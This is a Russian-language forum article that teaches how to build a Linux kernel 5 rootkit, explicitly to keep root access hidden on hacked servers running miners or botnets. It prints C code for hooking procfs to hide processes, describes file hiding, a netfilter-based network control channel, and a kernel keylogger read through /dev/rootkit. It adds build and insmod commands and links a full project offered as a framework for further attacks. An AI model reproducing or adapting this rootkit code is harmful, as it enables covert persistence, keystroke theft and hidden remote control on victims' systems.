Статья Изучаем руткиты на примере руткита для Linux Kernel 5

Всем привет !

Просьба не пугаться слова Линукс, данная статья имеет практический аспект и полезна даже для тех-кто, кто ненавидеть Линукс и хочет разобраться с руткитами для виндовс.

Итак сразу какой практический интерес:

Ну во первых, если говорить про общеобразовательный аспект статьи, то построение руткитов в целом очень похожа для любой системы, научившись делать для какой-то одной, далее не проблема уже создать и для другой, да существует специфика, но всё это решаемо если есть документация на систему.

Это первое, второе, Линукс сейчас очень распространена в качестве серверной системы, так и много встраиваемых решений под эту систему, поэтому как правило, если вам удалось получить рут доступ к системе, очень важно сохранить это в тайне, к сожалению многие взломщики не замачиваются скрытием следов, как правило ограничиваются копированием шелл-кодов в какую-то папку и всё....

Но этого мало, во первых если вы запустили на взломанном сервере например майнер или ботнет, что часто бывает из практики взломов, то администратор достаточно быстро это обнаружит, используя штатные средства, типо-там top и т. д.

Также многие администраторы используют консольные антивирусные сканеры, что могут весьма кстати не плохо обнаруживать шеллы и вирусы на сервере.)

Если говорить про десктопы, да процент использующих Линукс мал, но достаточно большей процент тех-кто думает, что «Линукс безопасен» **и запускают бездумно скрипты и файлы, не анализируя их суть, даже бегло...**

А ведь в качестве загрузки нашего руткита, может-быть банальный sh скрипт, который скачает и соберёт и установит его, никто и не узнает.

Мало кто задумывается об этом, но к счастью малварьщики тоже про это не думают, но может эта статья как раз даст пищу для размышления всем.)

Многие также пугаются слова «Драйвер», однако для Линукса драйвера писать не сложно, в отличия кстати от винды, достаточно всего лишь знать базовые аспекты языка Си, ну и представлять работу в nix системах, если вы уверенно себя чувствуете в

Линуксе и знаете язык си, то проблемы в написании драйвера, как и руткита возникнуть не должно…)

В этой статье будет приложен проект с руткитом, который много чего делает, что он делает я распишу ниже ТЗ, но кода там минимум, каждый модуль руткита будет 100-150 строк, это очень мало, код будет на си, даже ассемблер использовать не буду, что даст понимание в работе руткита и его можно использовать как каркас для дальнейших разработок и экспериментов…

Итак начнём с теории…

Что такое руткиты ?

Итак руткиты — Это не вредоносное ПО, это даже не шпионское ПО, хотя в проекте этой статьи я покажу как сделать кернел-мод кейлогер и как можно сделать скрытое управление по сети.

Но всё-же основная цель руткита — Это скрытие основной нагрузки атаки, т. е. Скрытие вредоносных процессов, скрытие папок и файлов, защита от удаления и обнаружения и т. д.

Руткиты делятся по уровню привелегий.

Руткиты работающие с привелегиями пользователя, называются user-mode руткитами, **важно не путать, разграничения прав пользователей и разграничение работы программ в операционной системы.**

Ядро работает в привилегированном режиме, а пользовательские процессы изолированы от ядра, это нужно для защиты, чтобы если упал какой-то процесс, в итоге не упало всё ядро.

Так-вот о User-mode руткитах, как они работают:

Не секрет, что программы подключают сторонние библиотеки, для использования как API системы, так и каких-то сторонних функций.

Этим и пользуются взломщики, если сделать инжект в нужный процесс, то можно поставить хук на нужную функцию и подменить результаты работы этой функции, более подробней про это можно прочитать здесь (Техника называется сплайсинг функций): https://xakep.ru/2018/01/26/winapi-hooks/

Так-вот, этот метод хорош если нужно скрыть какие-то данные для конкретного приложения, но это не работает если нужно скрывать что-то от защитных решений, тут без работы на уровне ядра не обойтись.

Как-то игрался с User-mode руткитами, можно почитать, если интересно про это тут:https://github.com/XShar/simple_rootkit_for_windows_fork_r77

Итак kernel - mode руткиты и почему их изучать лучше в Линуксе ?

Ну во первых про примерно одинаковое построение таких систем я сказал, но если вы новичок в этом деле, то скажу что в Линуксе на порядок легче делать что-то в режиме ядра, вот почему:

Линукс — Это монолитная архитектура ядра, с возможностью создавать модули ядра и на «лету» подгружать их, это означает, что загрузив модуль вам доступны все структуры ядра, их можно по всякому модифицировать и т. д., по крайне с данными можно работать без проблем.

Что-же происходит в винде ?

У винды я-бы назвал гибридным ядро, хотя как понимаю, изначально у них была задумка создать микроядро, что такое микроядро ?

По сути микроядро — это в ядре минимальный функционалл, управления потоками, может что ещё, но по минимому.

Всё остальное выносятся в сервисы ядра.

Такой подход считается очень крутой в системной разрабоотке, т. к. плюсы перед монолитом очевидны, это безопасность...

Но есть и минусы, основной минус, это быстродействие, именно поэтому майкрософт пошли по пути «гибридного ядра», вынесев всё-же в ядро некоторые сервисы...

Ну понятно, чем больше сервисов, тем больше прослоек и абстракций и тратится время на их взаимодействие между собой.

Собственно из-за этого и сложность разработки на уровне ядра, более того современные системы виндовс, ограничили возможность загрузки драйвера, нужно включать тестовый режим, или иметь цифровую подпись.

Также ещё плюс линукс, это открытый код ядра, **не потому-что там классный код, нет, код там говнесцо ещё-то, а потому-что можно посмотреть как сделаны структуры и модули...**

В винде к сожалению это невозможно, и документации нет.

Ладно с теорией закончили, давайте напишем тех. задание, что будет далеть наш руткит ?

Тех. задание и функционал нашего руткита:

1)Скрытие нужного процесса, по имени процесса.

2)Скрытие нужных файлов, по префиксу файла.

3)Возможность управление руткитом по сети, тут я нестал заморачиваться пока-что, будет на уровне ядра проверять все пакеты, которые пришли от порта 1328, если пакет пришел, то просто для демонстрации работы запустим logger, в будущем можно распарсить пакеты и выполнять команды, это кому нужно это, можно использовать как каркас.

4)Возможность управления руткитом из юзер-мода, я также особо не заморачивался, сделал такую возможность путём создания девайса и реализации возможности читать/писать в наш руткит, как файл, вот например:

cat /dev/rootkit

Выведет логи кейлоггера, можно также читать/писать в /dev/rootkit, т. е. работа как с файлом...

5)Кернел-мод кейлоггер, тут также всё просто, регистрируется обработчик уведомления от клавиатуры, а потом получается по коду клавиши, его аски код.

Логи потом можно просмотреть из юзермода...

Далее в статье, вкратце по пунктам как и что реализовано, хотя код будет в гите достаточно понятный и с комментариями, но описать будет не лишнем...

Также потом будет как протестировать руткит и выводы.

Итак принцип реализации нашего руткита:

1)Скрытие фалов и процессов в ядре линукс.

Вы наверное в курсе, что многое в ядре линукс это по сути файл, вот например можно работать с каким-то устройством как с файлом, мы позже сделаем в нашем рутките такую возможность, например обращение /dev/rootkit как с файлом.

Итак, для работы с процессами есть файловая система procfs, через эту файловую систему, работая с ней как с файлом можно получить информацию о процессах и т.д.

Именно так работают утилиты из юзермода, т.е. top и т.д.

Записи в procfs представлены структурой памяти с именем proc_dir_entry, и мы можем найти ее определение в файле fs /proc internal.h в исходниках ядра Linux:
C:

```
struct proc_dir_entry {
        unsigned int low_ino;
        umode_t mode;
        nlink_t nlink;
        kuid_t uid;
        kgid_t gid;
        loff_t size;
        const struct inode_operations *proc_iops;
        const struct file_operations *proc_fops;
        struct proc_dir_entry *parent;
        struct rb_root subdir;
        struct rb_node subdir_node;
        void *data;
        atomic_t count;         /* use count */
        atomic_t in_use;        /* number of callers into module in progress; */
                        /* negative -> it's going away RSN */
        struct completion *pde_unload_completion;
        struct list_head pde_openers;   /* who did ->open, but not ->release */
        spinlock_t pde_unload_lock; /* proc_fops checks and pde_users bumps */
        u8 namelen;
        char name[];
};
```

Здесь есть одно интересное поле: struct file_operations * proc_fops. Эта структура содержит указатели на функции, которые вызываются, когда должны выполняться определенные операции в структуре proc_dir_entry, например, перечисление содержимого /proc. Исходный файл fs/proc /generic.c определяет поведение ядра по умолчанию, когда дело доходит до записей procfs:
C:

```
static const struct file_operations proc_dir_operations = {
        .llseek                 = generic_file_llseek,
        .read                   = generic_read_dir,
        .iterate_shared         = proc_readdir,
};
```

Хорошо, идём дальше, если мы посмотрим определение функции proc_readdir в ядре здесь fs/readdir.c, мы увидим, что он вызывает функцию iterate_dir, которая, в свою очередь, в какой-то момент вызывает функцию iterate_shared...

Прототип функции iterate_shared:
Code:

```
int iterate_shared(struct file *, struct dir_context *);
```

Функция принимает в качестве второго параметра указатель на структуру dir_context, которая определена в include /linux /fs.h:
Code:

```
struct dir_context {
        const filldir_t actor;
        loff_t pos;
};
```

Тип filldir_t - не что иное, как определение типа указателя на функцию:
Code:

```
typedef int (*filldir_t)(struct dir_context *, const char *, int, loff_t, u64, unsigned);
```

В общем если по простому, как работает перечисление процессов в линуксе, например ls /proc:

- Программа, скажем ls, запускает системный вызов getdent при перечислении / proc.

- Функция системного вызова getdent вызывает функцию iterate_shared виртуальной файловой системы (VFS).

- iterate_shared вызывает функцию filldir_t, содержащуюся в dir_context, переданном в его параметрах.

- Функция filldir_t как-раз делает обработку и отправляет результат пользователю.

Наша главная цель - перехватить функцию iterate_shared, чтобы не показывать наш скрываемый процесс. Поскольку функция filldir_t отвечает за передачу данных пользователю, мы должны определить нашу собственную функцию функцию (которая вернет 0, если вторым параметром является строка, содержащая pid процесса, который мы хотим скрыть), поместить его в struct dir_context и передать его исходной функции iterated_shared.

Все это будет делать наша перехваченная функция iterated_shared.

В общем алгоритм такой:

- Получить указатель на proc_dir_entry.

- Сделайте копию структуры file_operations (резервная копия, чтобы потом можно было восстановить работоспособность, при например выгрузки модуля).

- Сделайте вторую копию (file_ops).

- Перезаписать функцию iterate_shared в file_ops.

- Заменить структуру в file_opertations proc_dir_entry на нашу file_ops.

Что-бы было понятней, вот как это делается в коде:
C:

```
/* Получить структуру procfs */
    if(kern_path("/proc", 0, &p))
    {
        printk(KERN_INFO "+++ Dont get procfs !\n");
        return (-1);
    }

    /* Получить указатель на inode*/
    proc_inode = p.dentry->d_inode;

    /* Получить указатель на file_operations из inode */
    proc_fops = *proc_inode->i_fop;
    /* Беккапим структуру */
    backup_proc_fops = proc_inode->i_fop;
    /* Модифицируем структуру, что-бы вызывалась наша функция */
    proc_fops.iterate_shared = rootkit_hook_iterate_shared;
    /* Перезаписываем активные файловые операции */
    proc_inode->i_fop = &proc_fops;
```

Ну собственно реализовав функцию **rootkit_hook_iterate_shared** мы можем скрыть процесс, вот:
C:

```
static int rootkit_filldir(struct dir_context *ctx, const char *proc_name, int len,
        loff_t off, u64 ino, unsigned int d_type)
{

    int pid_to_cmp = char_to_int (proc_name);
    int get_pid = get_my_pid(HIDE_PROC);

    if (pid_to_cmp == get_pid) {
        printk(KERN_INFO "+++ Proc %s succsed hide !\n", HIDE_PROC);
        return 0;
    }

    return backup_ctx->actor(backup_ctx, proc_name, len, off, ino, d_type);
}

static struct dir_context rootkit_ctx = {
        .actor = rootkit_filldir,
};

static int rootkit_hook_iterate_shared(struct file *file, struct dir_context *ctx)
{
    int result = 0;
    rootkit_ctx.pos = ctx->pos;
    backup_ctx = ctx;
    result = backup_proc_fops->iterate_shared(file, &rootkit_ctx);
    ctx->pos = rootkit_ctx.pos;

    return result;
}
```

Я не буду приводить полный код модуля, это можно просмотреть на гитхабе, ссылка на гитхаб в конце статьи.

Скрытие файлов, делается примерно также, только нужно получить структуру VFS подмонтированной файловой системы, например так:

Code:

```
if(kern_path("/", 0, &p)) {
        printk(KERN_INFO "+++ Dont get fs\n");
        return (-1);
    }
```

В остальном алгоритм примерно такой-же...

2)Делаем управление руткитом по сети, или ядерный шелл.

Для анализа пакетов, в режиме ядра, нужно поставить хук на нетфильтр, в нём можно задавать хуки.

Далее в обработчике хука я определяю с какого порта пришёл пакет, если с 1328, то запускаю программу логгер, для теста через call_usermodehelper, да тут модуль просто как демонстрация работы, реально можно там что угодно делать, например обрабатывать UDP пакет и выполнять команды, или что ещё.)

3)Кейлоггер в режиме ядра

Было интересно сделать кейлоггер в режиме ядра, для этого регистрируется обработчик уведомления от клавиатуры, ну и обрабатывается код клавиши.

Также что-бы можно-было получить данные из буфера ядра, был создан девайс rootkit и с ним можно работать как с файлом.

Кстати из режима ядра можно создавать файлы и также что-то сохранять, но делать это нужно через VFS, пример:
C:

```
#include <linux/fs.h>
#include <asm/segment.h>
#include <asm/uaccess.h>
#include <linux/buffer_head.h>

struct file *file_open(const char *path, int flags, int rights)
{
    struct file *filp = NULL;
    mm_segment_t oldfs;
    int err = 0;

    oldfs = get_fs();
    set_fs(get_ds());
    filp = filp_open(path, flags, rights);
    set_fs(oldfs);
    if (IS_ERR(filp)) {
        err = PTR_ERR(filp);
        return NULL;
    }
    return filp;
}

void file_close(struct file *file)
{
    filp_close(file, NULL);
}

int file_read(struct file *file, unsigned long long offset, unsigned char *data, unsigned int
size)
{
    mm_segment_t oldfs;
    int ret;

    oldfs = get_fs();
    set_fs(get_ds());

    ret = vfs_read(file, data, size, &offset);

    set_fs(oldfs);
    return ret;
}

int file_write(struct file *file, unsigned long long offset, unsigned char *data, unsigned
int size)
{
    mm_segment_t oldfs;
    int ret;

    oldfs = get_fs();
    set_fs(get_ds());
```

```
    ret = vfs_write(file, data, size, &offset);

    set_fs(oldfs);
    return ret;
}

int file_sync(struct file *file)
{
    vfs_fsync(file, 0);
    return 0;
}
```

Для более новых ядер есть также специальные функции:
C:

```
# Read the file from the kernel space.
ssize_t kernel_read(struct file *file, void *buf, size_t count, loff_t *pos);

# Write the file from the kernel space.
ssize_t kernel_write(struct file *file, const void *buf, size_t count,
            loff_t *pos);
```

Я намеренно не приводил в статье код модулей руткита, т.к. в исходниках всё разложено с комментариями, понимая суть разобраться с ними не сложно…

Описание проекта руткита и запуск/тестирование:

Проект состоит из следующих модулей:

1) main.c – Основной модуль, где основные функции инициализации и выгрузки драйвера.
2) proc_hide.c – Модуль скрытия процесса по имени.
3) file_hide.c – Модуль скрытия файлов.
4) reverse_shell.c – Модуль управлением руткитом по сети.
5) keylogger.c – Модуль кейлоггера.
6) file_operation.c – Модуль создания и регистрации устройства в /dev и возможности взаимодействия с руткитом, как с файлом.
7) example_config.h – Настройки руткита.

Сборка модуля:

make clean

make

ВАЖНО: Делал драйвер именно под версию ядра 5 и выше, не учитывал особенности в ста-рых версиях ядра, оно будет работать, но т.к. в ядре постоянно меняют структуры, может не собраться, нужно просто посмотреть в исходниках ядра какие структуры поменялись.

Запуск модуля:

sudo insmod rookit.ko

Остановка модуля:

sudo rmmod rookit.ko

Вывод логов кейлоггера:

cat /dev/rootkit

Вывод отладочной информации драйвера:

dmesg -c | tail -n60 | grep +

Управление руткитом по сети (Пример):

echo "Command" | nc -u 127.0.0.1 1328

Выводы:

Для многих слово «Линукс» является непреступной крепостью, но это не так, как в ядре, так и в приложениях к сожалению часто появляются уязвимости.

Также если говорить о десктопах, то вполне реально, делать и инфекторы елф образов и ещё много чего, но т.к. процент пользователей десктопов не такой большой, малварьщики игно-рируют эту систему.

Если говорить о серверах, то никто из взломщиков и не заморачивается скрытием своих проделок, хотя использование руткитов, могло существенно увеличить процент жизни на атакуемом сервере.

Ну и последнее, всё-же если вы пользователь Линукса, хоть бегло анализируйте запускаемые скрипты и не устанавливайте/не собирайте софт из неофициальных источников, только если вы 100% уверены в безопасности кода.)

И ещё пару слов о сфере применения руткитов.

Да, если говорить про венду, в виду того-что винда сильно ограничила возможность уста-новки и загрузки драйверов, то массовая атака руткитов врядли возможна, т.к. это противо-речит самой цели данных программ , просто нучнут детектить сами методы загрузки рутки-тов, это или цифровая подпись, или если это какая уязвимость.

Но вот для какой-то таргетированной атаки, например атаки на определенную системы, в которой какие-то особенности и если нужно максимально скрыть саму атаки и максимально удержаться на объекте, то руткит это иделальный вариант. Благодарю за прочтение данной статьи.

Линк на гитхаб проекта:https://github.com/XShar/rootkit_for_linux_kernel_5

Используемая литература:

Hiding Processes for Fun and Profit -

Driver to hide files in Linux OS

hide file linux, virtual file system linux, inode, dentry, file security linux, driver for linux, redirection in linux, driver development in linux, linux driver development, sample driver linux, driver example for linux

www.apriorit.com

prohoster.info

ProHoster

Ядерный шелл поверх ICMP | ProHoster

TL;DR: пишу модуль ядра, который будет читать команды из пейлоада ICMP и выполнять их на сервере даже в том случае, если у вас упал SSH. Для самых нетерпеливых весь код на github. Осторожно! Опытные программисты на C рискуют разрыдаться кровавыми слезами! Я могу ошибаться даже в терминологии, но...

prohoster.info